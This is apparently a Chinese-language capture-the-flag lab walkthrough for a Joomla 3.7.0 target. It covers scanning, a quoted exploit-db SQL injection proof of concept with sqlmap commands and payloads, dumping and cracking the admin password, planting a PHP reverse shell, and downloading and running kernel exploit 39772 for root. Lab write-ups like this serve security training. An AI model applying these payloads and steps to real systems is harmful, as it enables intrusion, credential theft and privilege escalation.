先nmap一下:

 

 发现只开放了80端口。直接访问页面,发现CMS是Joomla:

 

 使用joomscan进行扫描:

git clone https://github.com/rezasp/joomscan.git
cd joomscan
perl joomscan.pl --url 192.168.190.158

 

 发现版本号3.7.0以及管理员登陆页面。

searchsploit一下这个版本的joomla有没有什么漏洞:

 

 发现存在一个sql注入漏洞,看看这个POC中说了什么:

# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917


URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27


Using Sqlmap: 

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]


Parameter: list[fullordering] (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (DUAL)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)

    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu) 

其中直接给了我们使用的sql语句,那么直接注入就好了:

sqlmap -u "http://192.168.190.158/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

 

 先看看joomladb数据库中有哪些表:

sqlmap -u "http://192.168.190.158/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --tables -D "joomladb" -p list[fullordering] --batch

其中的表太多了就不一一列举,但是有一个很明显的#_users表:

 

获取#_users表的字段名:

sqlmap -u "http://192.168.190.158/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent  -p list[fullordering] -D joomladb -T '#__users' --column

 

 获取username和password字段值:

将密码的hash保存下来直接通过john解密,获得用户名-密码 admin-snoopy

 

 使用这对用户名和密码登录网站管理员后台,并在index.php中写入反弹shell代码(防止写进去的shell找不到):

 

 反弹shell代码来自于/usr/share/webshells/php/php-reverse-shell.php     不适用一句话木马是因为连接会中断(原因还没弄清楚)。

 获得反弹shell:

 

从kali上下载并使用linux-exploit-suggester.sh枚举内核漏洞(记得在/tmp目录下并赋予执行权限):

 

 注意到这么个漏洞:

 

 其实searchsploit ubuntu 16.04也可以找到这个提权漏洞:

 

 在说明文档中可以找到exp的镜像文件:

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

那么直接在靶机上下载这个文件:

wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772.zip

然后解压,编译,运行:

unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput

等了一会以后获得root权限:

 

 结束。

参考:https://www.dtmao.cc/news_show_450843.shtml

  https://my.oschina.net/u/3988855/blog/4352088